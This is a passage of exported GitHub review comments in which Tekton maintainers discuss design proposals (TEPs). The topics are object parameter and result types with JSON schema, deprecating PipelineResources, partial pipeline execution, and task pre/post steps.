"sounds good, now I'm wondering if we should close issue https://github.com/tektoncd/pipeline/issues/3497 and document the existing behavior because it's consistent with what we'll be doing here?", "comment_id": 799106239, "created_at": "2022-02-04T01:46:58Z", "line": 359, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "jerop", "body": "i prefer not including the results in the outputs/status when they were not declared, thanks for making the update!\r\n\r\nand yes, that was convincing \ud83d\ude01", "comment_id": 799106268, "created_at": "2022-02-04T01:47:02Z", "line": null, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "jerop", "body": "left a comment on the issue: https://github.com/tektoncd/pipeline/issues/3497#issuecomment-1029570957", "comment_id": 799111449, "created_at": "2022-02-04T02:03:10Z", "line": 359, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "kk, re. tektoncd/pipeline#3497 it makes sense but i feel a bit sad about it XD - im happy with whichever we decide, and at least once we decide we can be clear and consistent about it", "comment_id": 799747786, "created_at": "2022-02-04T19:18:37Z", "line": 359, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "Thinking about this more, I'm back to thinking that it's important Tasks declare an interface that consumers rely on, and so I would rather fail when expected results are not present - and maybe that should apply be default to keys as well (more about this at https://github.com/tektoncd/pipeline/issues/3497#issuecomment-1031998997)\r\n\r\nI've got an additional option to add to our list:\r\n\r\n6. Add a field to each result declaration that is defined entirely by us, e.g. `keysRequiredByDefault` which defaults to true and causes us to treat all keys in an object schema declaration as required by default (i.e. literally treat each as required when evaluating json schema) unless the value is explicitly set to false @_@\r\n\r\nI'm not sure I like it very much but maybe something like that is the only way to get the guarantees we need to Task consumers to have, balanced with using JSON schema as it is specified @_@\r\n", "comment_id": 801114198, "created_at": "2022-02-07T22:32:18Z", "line": 359, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "+1\r\n\r\nThis would help providing structured output leaving enough flexibility to users to define their own structures without having to modify Tekton (like it was for `PipelineResources`.\r\n\r\nWhen integrating [`CDEvents`](https://cdevents.dev) with Tekton in the [experimental cloudevents controller](https://github.com/tektoncd/experimental/tree/main/cloudevents), we used a combination of annotations and results to let `Task` authors declare an activity performed by it (e.g. *build*) and the details of the outcome of that activity (e.g. *artifact*). With that data the controller can send a `CDEvent` of the type [`Artifact`](https://cdevents.dev/docs/continuous-integration-pipeline-events/) with the required fields.\r\nHaving structured results would allow developers to groups data specific to and output in an object, which would then be useful to send reacher events.\r\n\r\nThe format / schema or the input/objects could be documented, by Tekton and by third parties, to enable specific integrations.", "comment_id": 801584207, "created_at": "2022-02-08T12:35:37Z", "line": 54, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Nice! I think that:\r\n- The schema should be optional\r\n- It should be possible to refer to an external schema, so that multiple `Tasks` could use the same schema. This would foster an ecosystem of tools that produce the inputs / consume the results, like Tekton Chains and CDEvents.", "comment_id": 801588155, "created_at": "2022-02-08T12:40:41Z", "line": 58, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "This would be for `Tasks` and `Pipelines` too, right?\r\n\r\nOne possibly related use case we have at IBM is passing a large set of environment variables to a pipeline and down to every task in it, which results in space issues and performance loss because of the size of the resulting pipeline. Having a standard structured input parameter that can be passed by reference to `Tasks` might help solving that specific use case. /cc @rafalbigaj ", "comment_id": 801622982, "created_at": "2022-02-08T13:21:20Z", "line": 82, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "One minor concern is that doing non-nested first and nested later might create more churn in the interfaces of the `Tasks` and `Pipelines`. But I think it still makes sense.", "comment_id": 801632615, "created_at": "2022-02-08T13:32:07Z", "line": 97, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "It would be nice for a `Pipeline` definition to be able to group parameters that needs to be passed down to a Task into a single object parameter. We could define something that resembles the `**` Python operator used to unpack a dictionaries. Something for later perhpas?", "comment_id": 801712453, "created_at": "2022-02-08T14:47:24Z", "line": 195, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Does this mean at authoring time, i.e. provide a schema?\r\nI think it makes sense, but still I'm a bit torn on this. \r\n\r\nOn one side, I understand the need to validate inputs and match interfaces, so it definitely should be possible to provide a schema. Not having a schema would be similar in a way to supporting dynamic results, which do not need to be declared in the `Task` or `Pipeline` definition.\r\n\r\nOn the other side, I think that leaving this more open might give our users / pipeline authors a bit more flexibility and make it easier to write tasks. Writing a schema feels like an high bar of entry, even though with the current limitation of dict of strings it's not that complex. \r\n\r\nTo make an example from another system, GitHub actions allow one to define the outputs in the action metadata (like our results in `Tasks`), however outputs can be added dynamically as part of the script too - see https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions#setting-an-output-parameter. ", "comment_id": 801751180, "created_at": "2022-02-08T15:22:25Z", "line": 197, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "This is really nice!! :)", "comment_id": 801793759, "created_at": "2022-02-08T15:59:27Z", "line": 321, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "+1", "comment_id": 802027448, "created_at": "2022-02-08T20:23:06Z", "line": 231, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "It may be something we add on a second pass, but I really would see value in having these small schemas re-usable / sharable, being able to build a library of them - perhaps in the catalog? - that can be used across tasks and contributed to by third parties.\r\n\r\nReusing these schemas introduces the extra complexity of versioning them, discovering them etc but I think it's still an idea worth exploring as a follow up", "comment_id": 802028821, "created_at": "2022-02-08T20:25:00Z", "line": 273, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Maybe we could reconsider this one, as I mentioned earlier I would go against a strict interface but it might make it easier to use Tekton. I'd be happy to hear others' ideas about this.", "comment_id": 802031201, "created_at": "2022-02-08T20:28:20Z", "line": 340, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Not sure if I understand correctly \ud83d\ude4f \r\n\r\nDoes this mean that if a `Task` declares an object input `foo` with an optional field `bar`, and then in the code if tries to access `$(params.foo.bar)` we would then consider `bar` mandatory, i.e. fail at runtime if the input param does not have a `bar` field?\r\n\r\n```\r\napiVersion: tekton.dev/v1beta1\r\nkind: Task\r\nmetadata:\r\n name: optional-fields\r\nspec:\r\n params:\r\n - name: foo\r\n type: object\r\n properties:\r\n bar: {}\r\n needed: {}\r\n required: [\"needed\"]\r\n steps:\r\n - name: first-step\r\n image: alpine\r\n env:\r\n - name: FOO_BAR\r\n value: $(params.foo.bar)\r\n script: |\r\n #!/bin/sh\r\n set -ex\r\n set -o pipefail\r\n if [ -z \"$FOO_BAR ]; then\r\n echo \"foo does not have a bar, or it's empty \u00af\\_(\u30c4)_/\u00af\"\r\n fi\r\n```\r\n\r\nTo clarify, I think the example above should run successfully if the input `foo` does not have a `bar` field defined. We can fail validation at runtime if `foo.needed` is not passed. ", "comment_id": 802555575, "created_at": "2022-02-09T11:20:02Z", "line": 354, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "I agree with @bobcatfish comment in https://github.com/tektoncd/pipeline/issues/3497#issuecomment-1031998997 that we should distinguish between results and fields within a result.\r\nFor fields within an object result, we should rely on the schema (if one exists). If we follow jsonschema approach of optional by default, we should only enforce fields that are marked as required. \r\n\r\nThe \"optional by default\" approach is consistent with jsonschema, and it seems more fitting with reusability of object schemas/types. On the down it may push validation into the user steps and it seems a bit inconsistent with the rest of the Tekton API - which may be confusing to users. Still I think the pros surpass the cons.\r\n\r\nHaving an option to change the default behaviour sounds interesting, but I'm afraid it would reduce reusability, as tasks and schemas developed with on behaviour in mind may stop working if a different behaviour is configured.", "comment_id": 802589971, "created_at": "2022-02-09T12:03:34Z", "line": 359, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "There could be an option where we allow not having a schema.", "comment_id": 802634562, "created_at": "2022-02-09T12:59:14Z", "line": 407, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Are default applied individually or as a whole?\r\nI.e. is the param is specified with `url` but `path` is not set, will `path` be taken from the default? \r\n\r\nMy expectation would be no, so defaults are only applied to the whole object when it's not specified at all.\r\nThat might imply that we have to validate default values too. For instance if `path` was a required field, and the default did not include it, we should fail validation.", "comment_id": 802636653, "created_at": "2022-02-09T13:01:39Z", "line": 440, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "NIT: s/tt/it ?", "comment_id": 802640169, "created_at": "2022-02-09T13:05:44Z", "line": 598, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "This is maybe more about flexibility, however for a user to be able to pass a json dict as a result they'll have to define a schema for the result and the same schema for input params that consume that result (in any).\r\nI think this is perfectly acceptable in cases where users want to have extra validation and observability into the pipelines, but it might be too much for the more casual author. I wonder if we should support schema-less as well?", "comment_id": 802646154, "created_at": "2022-02-09T13:12:30Z", "line": 671, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "Another improvement in reusability, if we have a schema, would be allowing for schemas to be reused and shared", "comment_id": 802647166, "created_at": "2022-02-09T13:13:43Z", "line": 664, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "NIT: I think this is the only place where it's describe how object results will be produced by users - perhaps it would be worth having a small paragraph about it?\r\n\r\n", "comment_id": 802654549, "created_at": "2022-02-09T13:22:03Z", "line": 595, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "afrittoli", "body": "+100\r\n\r\nI didn't realise this was already part of the TEP :) \r\nI agree it can be future work, but I think it would be an important feature to have", "comment_id": 802661609, "created_at": "2022-02-09T13:29:54Z", "line": 886, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "> Does this mean that if a Task declares an object input foo with an optional field bar, and then in the code if tries to access $(params.foo.bar) we would then consider bar mandatory, i.e. fail at runtime if the input param does not have a bar field?\r\n\r\nyes\r\n\r\n> To clarify, I think the example above should run successfully if the input foo does not have a bar field defined.\r\n\r\ni disagree - what value would be provided for `$(params.foo.bar)` in that case? (and what about in future if bar is a more complex object?) (feels like this is better resolved via supporting some kind of default, either via https://github.com/tektoncd/community/blob/main/teps/0048-task-results-without-results.md or\r\n\r\nthe optional vs required by default discussion has been one of the hardest parts of this proposal - @jerop and i have also been discussing this in the context of https://github.com/tektoncd/pipeline/issues/3497", "comment_id": 830370793, "created_at": "2022-03-18T21:50:47Z", "line": 354, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "good point, i agree! i'll add this in the implementable PR", "comment_id": 830371792, "created_at": "2022-03-18T21:53:21Z", "line": 440, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "yes \ud83d\udcaf i think that would be a very likely next step after this", "comment_id": 830372411, "created_at": "2022-03-18T21:54:49Z", "line": 664, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83d\udcaf - @wlynch and his team are planning to create a TEP to dive into this in more detail", "comment_id": 830372644, "created_at": "2022-03-18T21:55:23Z", "line": 886, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "there's also an example at https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#emitting-object-results but happy to add more detail there and/or here (ill at least add a link from here back to that section) anything else in particular you'd like to see covered?", "comment_id": 830373054, "created_at": "2022-03-18T21:56:28Z", "line": 595, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "bobcatfish", "body": "interesting idea but I'm not 100% sure what this would look like, could you provide an example?", "comment_id": 830373771, "created_at": "2022-03-18T21:58:25Z", "line": 671, "path": "teps/0075-object-param-and-result-types.md", "pr_number": 479, "repo": "community"} +{"author": "vdemeester", "body": "Do we want to have as requirements that any TEP that is listed above (and implementing parts of what PipelineResource was providing) should be implemented and out of alpha ? (aka enabled by default)", "comment_id": 683582350, "created_at": "2021-08-05T15:52:50Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "bobcatfish", "body": "That's a good question - would you want that to be a requirement before we announce our intention to deprecate PipelineResources, or would that be a requirement for their final removal?\r\n\r\n1. One path could be that we approve this TEP as \"implementable\", announce the deprecation, add it to our v1 plans, but we make their actual removal (and therefore the v1 release!) contingent on these other TEPs making it to at least alpha. (Perhaps we include that the TEPs should at least be accepted as proposed? which TEP-0044 (decoupling scheduling) is, but the other two (dict + array support) are not)\r\n2. The other path would be to maintain our current state (PipelineResources not recommended but with their future somewhat ambiguous) until those other TEPs make it to at least Alpha\r\n\r\nI feel like (1) has the disadvantage of giving our users somewhat conflicting info: this thing is deprecated, the replacement(s) are a WIP, but (2) has the disadvantage of continuing this limbo state where we're not giving users a clear idea of our plans. So my preference (and there are definitely some selfish reasons here but I'll try to be impartial XD) would be to go with (1)", "comment_id": 688654115, "created_at": "2021-08-13T16:56:02Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "wlynch", "body": "+1 to option (1) - if we know this is the direction we want to go it seems reasonable to warn users ASAP so they don't adopt something we plan to remove in the near future (even if the alternative isn't as available / as friendly yet).", "comment_id": 689741706, "created_at": "2021-08-16T17:53:55Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "vdemeester", "body": "option (1) seems more appropriate indeed, and announcing the `PipelineResources` are deprecated is more or less what we unofficially say (at least I do \ud83d\ude05 ) so this would make it official. *But* I think we should aim for condition the \"removing them\" (CRD not in new release / fresh installs) to \"having any feature required to support the use case PipelineResource were out of alpha\" (aka available on a default install) \u2014 *what weird sentence lol*. If we don't have that, indeed the message is going to be weird : \"you could do that before, now you have to enable alpha api to do the same\".\r\n\r\nSo I vote for marking this implementable, announcing the deprecation, but adding a condition to the actual removal, which would be \"the *required* set of feature (list of TEP) is implemented, and out-of beta for X release\". ", "comment_id": 690416897, "created_at": "2021-08-17T14:17:41Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "bobcatfish", "body": "Okay after a big delay, I've tried to update this explicitly in the TEP in a \"Requirements to mark as `implementable`\" section!", "comment_id": 730137191, "created_at": "2021-10-15T21:36:48Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "vdemeester", "body": "nit: If we use \"Tekton Pipelines\" there, it's pretty much \"one component\" isn't it ? (or component here isn't tektoncd/\u2026 but tektoncd/pipeline resources ?)", "comment_id": 735693628, "created_at": "2021-10-25T15:03:26Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "vdemeester", "body": "nit: Isn't this up to us on docs side ? Nothing should prevent us from having example, walkthrough, and use-cases parts in our documentation that would \"use\" those images.", "comment_id": 735695360, "created_at": "2021-10-25T15:05:16Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "bobcatfish", "body": "maybe instead of \"component\" explicitly saying something like \"resource\" or \"CRD\" is more clear", "comment_id": 736024085, "created_at": "2021-10-25T22:56:59Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "bobcatfish", "body": "makes sense! I've tried to make this more clear", "comment_id": 736024807, "created_at": "2021-10-25T22:58:42Z", "line": null, "path": "teps/0074-deprecate-pipelineresources.md", "pr_number": 480, "repo": "community"} +{"author": "jerop", "body": "what would be the use case for this?", "comment_id": 676681875, "created_at": "2021-07-26T14:54:44Z", "line": 214, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "jerop", "body": "we also have a requirement for the partial execution of a `pipeline`, where there's no previous `pipelinerun`\r\n\r\n(represented in use case 2 above)", "comment_id": 676689485, "created_at": "2021-07-26T15:02:46Z", "line": 91, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "ScrapCodes", "body": "In the context of the resume failed pipeline run, \r\n\r\n1. In the proposal we are saying, we will retry failed tasks and if they have dependence on another tasks's results - we will reference results from previous runs. A user can override the results from previous Run, by redeclaring in this section. \r\n2. Suppose a failed task is permanently failing, and one would like to not retry that task but its dependents, then the user can hard code the results and execute the dependents.\r\n\r\nMy preference is to not include this in the current scope of this TEP, but a future TEP can address this.\r\n\r\nEDIT: added a `## Future Work` section.", "comment_id": 677296864, "created_at": "2021-07-27T09:51:40Z", "line": 214, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "ScrapCodes", "body": "Use case 2 and the requirement 2 are of less importance for us. But, we are happy(more than happy) to pursue them, incase you think we should drop them for this proposal, then I can move the `disableTasks` field under `pipelineRunRef` field.", "comment_id": 681594490, "created_at": "2021-08-03T09:29:02Z", "line": 91, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "jerop", "body": "what does \"disabled\" mean here? is it \"not executed\"? is that the same as \"skipped\"? I'm wondering if we could use more precise language here instead of \"disable\"\r\n\r\nalso, do we anticipate a scenario where `task B` is \"disabled\" but a user wants to execute the dependent `task E` (maybe it's an ordering dependency instead of resource dependency) -- this came up and we had to handle it in skipping strategies ", "comment_id": 685293548, "created_at": "2021-08-09T15:25:08Z", "line": 151, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "jerop", "body": "I'd think that for the end user, they need to figure out the DAG so that they can decide what to `enable` and `disable` -- I'm worried about the automaton of executing `failed` and `unfinished` tasks, what if a user wants to also include `skipped` tasks? does `failed` include `cancelled` tasks?\r\n\r\nmaybe the smallest change we can make is introducing the `disabled` tasks (with a different name) to solve most of the use cases, then explore the automation as the next step -- what do you think?", "comment_id": 685300059, "created_at": "2021-08-09T15:32:27Z", "line": 113, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "bobcatfish", "body": "interesting use case, I hadnt thought of this but it makes a lot of sense!", "comment_id": 686168167, "created_at": "2021-08-10T17:13:57Z", "line": 87, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "bobcatfish", "body": "i definitely agree with @jerop here about introducing just the`disabletasks` functionality here and tackling `pipelineRunRef` in a subsqeuent proposal\r\n\r\nThis would mean making \"Resume a failed or cancelled `PipelineRun` from previous `PipelineRun`\" a non-goal of this TEP - to me including this goal and the `pipelineRunRef` functionality in this TEP makes the line between [TEP-0065](https://github.com/tektoncd/community/pull/422) very blurry\r\n\r\ni also think it'll be easier to get this TEP approved more quickly if we focus on just the `disabledTasks` functionality first", "comment_id": 686170702, "created_at": "2021-08-10T17:17:11Z", "line": 113, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "This point is at \"authoring\" time, the other two are at the \"runtime\" time", "comment_id": 686618333, "created_at": "2021-08-11T08:33:08Z", "line": 59, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "When we talk about testing here, it's \"testing tektoncd/pipeline, testing its feature or at least testing a pipeline when we write it\", right ?", "comment_id": 686619073, "created_at": "2021-08-11T08:34:11Z", "line": 85, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "I am not entirely sure I see the use case \ud83d\ude05 ", "comment_id": 686619509, "created_at": "2021-08-11T08:34:50Z", "line": 87, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "There is more than referenced results to take into account. What about the data that was provided (`workspace`, \u2026) ? What about required \"one-shot\" task that would be required for the pipeline to run (like getting a one-time credential that would need to be re-issued in case of a new run, \u2026) ?", "comment_id": 686623379, "created_at": "2021-08-11T08:39:59Z", "line": 122, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "This would be on the user to set right ?", "comment_id": 686624599, "created_at": "2021-08-11T08:41:32Z", "line": 127, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "(it's handled partly by the next `-`)", "comment_id": 686624827, "created_at": "2021-08-11T08:41:49Z", "line": 122, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "There is additional alternatives, and one would be that this is handled by a higher level construct/abstraction, such as [Tekton workflows](https://github.com/tektoncd/community/issues/464) for example.", "comment_id": 686627914, "created_at": "2021-08-11T08:45:57Z", "line": 354, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "ScrapCodes", "body": "Ok, what if a user wants to resume a PipelineRun which has pipelineSpec embedded in it?", "comment_id": 686889585, "created_at": "2021-08-11T14:31:14Z", "line": 113, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "ScrapCodes", "body": "Yes, Testing a pipeline while we develop it.", "comment_id": 688920445, "created_at": "2021-08-14T11:42:41Z", "line": 85, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "ScrapCodes", "body": "Yes ! It is not possible to auto-detect it, AFAIK.", "comment_id": 688920646, "created_at": "2021-08-14T11:45:07Z", "line": 127, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "ScrapCodes", "body": "I chose, disable over skipped for the following reason:\r\n\r\nWhen we support the feature discussed in `#Future work` i.e. a task could be `disabled` but not its dependents (results could be pre-populated too). I could be wrong, but to me disabled seemed to be a bit precise ? Anyway, if you agree for future expansion of its functionality `skipped` is a more precise language. Happy to change it to skipped ! \ud83d\udc4d \r\n\r\n", "comment_id": 688921427, "created_at": "2021-08-14T11:53:21Z", "line": 151, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "jerop", "body": "that same reason applies to skipped since 0.27, a task could be `skipped` but not its dependents \r\n\r\njust wanted to flesh out what the difference is between `disabled` and `skipped` in terms of execution so we're not using different terms for the same thing \r\n\r\nalso open to using `disabled` if that's clearer to people ", "comment_id": 689598400, "created_at": "2021-08-16T14:41:02Z", "line": 151, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "bobcatfish", "body": "drive by request: it'd be great to include a link to https://github.com/tektoncd/pipeline/issues/50 as well - we're addressing our oldest open issue in pipelines!! :D", "comment_id": 689895131, "created_at": "2021-08-16T22:14:47Z", "line": 496, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "bobcatfish", "body": "i think the use case is that you're in the middle of doing something - maybe a release process where each task takes a long time (e.g. > 30 min) and you realize you want to stop - say you needed to stop working early or something - you could \"pause\" the executing pipelinerun and resume it later\r\n\r\nusing this particular feature for that would mean you cancel the executing pipelinerun and resume it from the task(s) you interrupted later", "comment_id": 690689781, "created_at": "2021-08-17T20:14:36Z", "line": 87, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "afrittoli", "body": "This functionality would have an impact on how we generate attestations.\r\nIf an artefact is produced by a pipeline that was partially executed, or resumed, how do we track that?\r\nOne simple initial answer could be that we don't generate attestations for partially executed pipelines. \r\nAlternatively we could capture the spec of what is actually being executed and what it's inputs were, including partial results.", "comment_id": 709889169, "created_at": "2021-09-16T08:12:57Z", "line": 220, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "afrittoli", "body": "I think the comments here show that the various use cases, running a partial pipeline, resuming a cancelled pipeline and retrying a failed pipeline come with different priorities and requirements. \r\n\r\nThe initial TEP started by @ScrapCodes was about retrying a failed taskrun/pipelinerun. \r\nWe saw common aspects with the partial execution which lead to this TEP, but perhaps we should first do some work to spell out what are the common aspects between the various use cases / features.\r\n\r\nIn my mind I see re-running a failed / cancelled pipeline - without redoing all the work - as the main use case. For that to be useful it should be up to the controller to decide what to run, not to the user.\r\n\r\nThe partial execution use case has different needs. The user wants to skip an expensive task in the pipeline for testing purposes or because a system it depends on is temporarily not available. In this case it's up to the user to say which tasks to skip, and it's up to the controller to say if the request can be served and what are the consequences - i.e. other tasks might be skipped because of the missing ones.", "comment_id": 709939119, "created_at": "2021-09-16T09:17:32Z", "line": 113, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "afrittoli", "body": "It might be in future if we add more metadata to our pipelines and workspaces.\r\nWe could let users specify that certain tasks are initialisation ones, and need to be executed on re-run.", "comment_id": 709940523, "created_at": "2021-09-16T09:19:21Z", "line": 127, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "afrittoli", "body": "For workspaces we could take two approaches:\r\n- Try to maximise re-run success: if a task mounts a volume in `write` mode, and a task that depends on it (directly or indirectly) needs to be executed, that task needs to be re-run too\r\n- Try to minimise resource utilisation: only re-run failed tasks and tasks that where not executed because of interruption of the pipeline. They might fail again because of missing data on the workspace\r\n\r\nOther resources might be missing still, like a test k8s cluster or any external resource created by initial tasks.\r\nHaving `init` tasks might be one way to solve this. I think a proper solution would be to let task specify input/output resources in some format (similar to the `PipelineResources` we had), so that tasks may declare what they provision and what provisioned resources they rely on.", "comment_id": 709947997, "created_at": "2021-09-16T09:29:22Z", "line": 122, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "bobcatfish", "body": "I think if the artifact that the attestation was created for was produced, it still makes sense to create the attestation even if the pipeline didn't complete or was partially executed. Capturing the spec (or some reference to the spec) sounds like a nice compromise to me.\r\n\r\n(could this happen within a retried taskrun as well?)", "comment_id": 710297796, "created_at": "2021-09-16T16:49:56Z", "line": 220, "path": "teps/0077-pipeline-partial-execution.md", "pr_number": 484, "repo": "community"} +{"author": "vdemeester", "body": "This point is basically `init containers` right ? If we were to allow a user to inject init containers (pre-steps, whatever we call them), that would be feeling that need, right ?", "comment_id": 698244359, "created_at": "2021-08-30T07:07:28Z", "line": 40, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "vdemeester", "body": "This point is handled by [TEP-0040](https://github.com/tektoncd/community/blob/main/teps/0040-ignore-step-errors.md), aka be able to run steps no matter what was the result before, doesn't it ?", "comment_id": 698244725, "created_at": "2021-08-30T07:08:10Z", "line": 43, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "vdemeester", "body": "Reading the comment should we have more points here than just `kermekton` ? Especially as \"as a `bool` it doesn't provide any real leeway to \u2026\" could be seem as something to work on as part of `hermekton` and then as a consequence here.", "comment_id": 698245668, "created_at": "2021-08-30T07:09:44Z", "line": 52, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "vdemeester", "body": "Same as above", "comment_id": 698245829, "created_at": "2021-08-30T07:10:06Z", "line": 58, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "mattmoor", "body": "Yes, although Tekton has the capacity to do this pre-work with sidecars, which could be nice.", "comment_id": 698683729, "created_at": "2021-08-30T17:45:35Z", "line": 40, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "mattmoor", "body": "I think you are assuming (because I haven't stated as much!) that this runs like a `finally` block (e.g. regardless of success/failure). I could go either way on this, but I see (at least) three possibilities:\r\n\r\n1. `post-steps` have `finally` semantics, which would enable TEP-0040 like cleanup logic.\r\n2. `post-steps` have normal semantics, which would complement TEP-0040 in that folks could use `post-steps` like a `finally` block, if they so choose.\r\n3. `post-steps` augments TEP-0040, so that folks can write `onError: post-steps` (or something) to indicate that when a step fails, that execution should flow to the post-steps (perhaps without executing the intervening steps).\r\n\r\nIMO `2.` and `3.` leave this as non-conflicting/complementary to TEP-0040, where `1.` this might subsume/replace TEP-0040.", "comment_id": 698688469, "created_at": "2021-08-30T17:52:48Z", "line": 43, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "mattmoor", "body": "It's certainly most complementary to Hermekton at the moment, but as I mention above (re: TEP-0040) there are ways that this could be quite complementary as a way of expressing `finally`-like semantics (without that necessarily being part of what we do here).", "comment_id": 698692236, "created_at": "2021-08-30T17:58:38Z", "line": 52, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "mattmoor", "body": "Honestly, when I first wrote this `2.` is what I had in mind, but I think you read it as `1.`, so it would be good to flesh this out and hopefully that shows why I wasn't thinking of this as conflicting with TEP-0040 \ud83d\ude05 ", "comment_id": 698692900, "created_at": "2021-08-30T17:59:41Z", "line": 43, "path": "teps/0080-taskrun-prepost-steps.md", "pr_number": 502, "repo": "community"} +{"author": "afrittoli", "body": "The re-usable unit in Tekton is 